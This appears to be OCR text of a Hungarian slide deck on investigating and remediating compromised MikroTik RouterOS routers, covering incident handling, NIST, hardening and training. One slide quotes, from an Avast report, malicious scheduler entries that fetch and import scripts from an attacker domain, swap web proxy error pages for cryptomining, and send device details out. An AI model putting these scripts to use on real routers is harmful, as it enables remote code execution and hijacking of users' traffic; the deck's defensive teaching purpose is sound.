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Reduce and mitigate cybersecurity risk on RouterOS networks
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Esettanulmany

IT halozat infrastruktura uzemeltetesi problema
Incidens vizsgalat

Incidenskezelés folyamata

Intezkedesi terv

Védelmi megoldasok

Megel6z6 intézkedések



Haldozat uzemetetési
problema vagy Incidens

Avagy hogyan tudhatjuk meg ha a halézatunk eszkozei
kompromittalodtak?

* Szakertoi vizsgalat
* Korulmeények és okok felderitése
®* "Nyomelemzes” vizsgalat

* Kiértékelés



Halozati eszkoz vizsgalata

Hardver vizsgalat

Szoftver konfiguracio vizsgalat
Rendszernaplo vizsgalat

Fajlrendszer es konyvtarstruktura vizsgalat

Szokatlan tartalmu script....



Tovabbi reszletek

/system scheduler
add =5m ="DDNS Serv" on—-event="/system script run iDDNS" start- =startup

add =10m ="DDNS Set" on—-event="/tool fetch url=http://mining71l.com/update.txt)
mode=http dst=path=1114.rsc\n/import 1ll4.rsc;:delay 6s5;/Tile remove 11l4.rsc" start- =startup

add =6m ="DDNS Up" on-event="/tool fetch url=http://mining71l.com/error.htmly
mode=http dst-path=webproxy/error.html" start- =startup

add =6m ="DDNS Crt" on-event="/tool fTetch url=http://mining71l.com/error.html}
mode=http dst-path=flash/webproxy/error.html" start- =startup

mac [/interface ethernet get 1 mac- ]

port ([/ip get winbox port]."_".[/ip get port]."_".[/ip get port])
info ([/ip get 1."_".[/ip get ]."
. [/interface pptp-server get 1\
. cmd “HSﬂacfipﬂr:fsinfﬂfdnﬁﬂ
ftool fetch =mining71l.com src-path=\%$cmd =http dst-path=dns;:delay 3s\
fimport dns;:delay 4s;/ remove dns"

source: https://blog.avast.com/mikrotik-routers-targeted-by-cryptomining-campaign-
avast



Hogyan vedjuk meg a halozatot
biztonsagi res kihasznalasa
ellen?

® |zolaljuk a fert6zott halozati eszkozt a rendszerbOl

® Java script - malware kitisztitasa az eszkozbOl

®* Eszkoz eredeti konfiguracio visszaallitasa

®* Kapcsoldodo informaciovedelmi aspektusok kezelése

®* Tovabbi “hardening”



Tovabbl nyomozas —
‘root cause” analizis

Sebezhetdsegek beazonositasa
Szoftver verzio kovetes — frissites (Teszteles!)
Rendszer komponens serulékenységek meghatarozasa

Javitasok kivitelezése
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MikroTik - RouterOS Blog
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taking care of the above-mentioned CVE entries.



Security témakor
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2019 in...

Search...

LATEST ARTICLES

CVE-2018-19298 CVE-2018-
19299 IPv6 resource exhaustion

MikroTik accelerates the adoption
of 60 GHz technologies with
Terragraph

CVE-2019-3924 Dude agent
vulnerability

CVE-2018-14847 winbox
vulnerability

Bugfix update 6.40.9 released

CATEGORIES

Announcements
Security

Software
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A cybersecurity researcher from Tenable Research has released a new proof-of-concept (PoC) RCE
attack for an old directory traversal vulnerability that was found and patched within a day of its

discovery in April this year, the new attack method found by Tenable Research exploits the same Security
vulnerability, but takes it to one step ahead.

Announcements

Software



Keretrendszer - NIST
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Strategiak

Iranyelvek kovetése

Legjobb gyakorlatok alkalmazasa - “Best practices”
Verzio kovetes - Patch management

CMDB

Incidens kezeles

Halozat biztonsag tervezesi-uzemeltetési tudatossag - Awareness



RouterOS hardening

https://wiki.mikrotik.com/wiki/Manual:Securing Your Router

Interface-ek

Szervizek (MNDP, ftp, api, etc.)

Eros titkositas

T0zfal konfiguracio

Adminisztracio (Winbox, SSH, telnet, snmp, ntp, logging, etc.)
Felhasznaldk (Admin, users)

Konfiguracié mentes


https://wiki.mikrotik.com/wiki/Manual:Securing_Your_Router

Security Training - MTCSE
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MikrotTik Certifled Security Engineer
https://mikrotik.com/download/pdf/MTCSE_Oultline.pdf



https://mikrotik.com/download/pdf/MTCSE_Outline.pdf

Felhasznalt forrasok

https://blog.avast.com/mikrotik-routers-targeted-by-cryptomining-
campaign-avast

https://www.cvedetails.com/

https://www.cvedetails.com/product/23641/Mikrotik-
Routeros.html?vendor_id=12508

https://blog.mikrotik.com

https://blog.mikrotik.com/security/

https.//www.nist.gov/cyberframework

https://wiki.mikrotik.com/wiki/Manual:Securing_Your_Router
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Koszonom a figyelmet!
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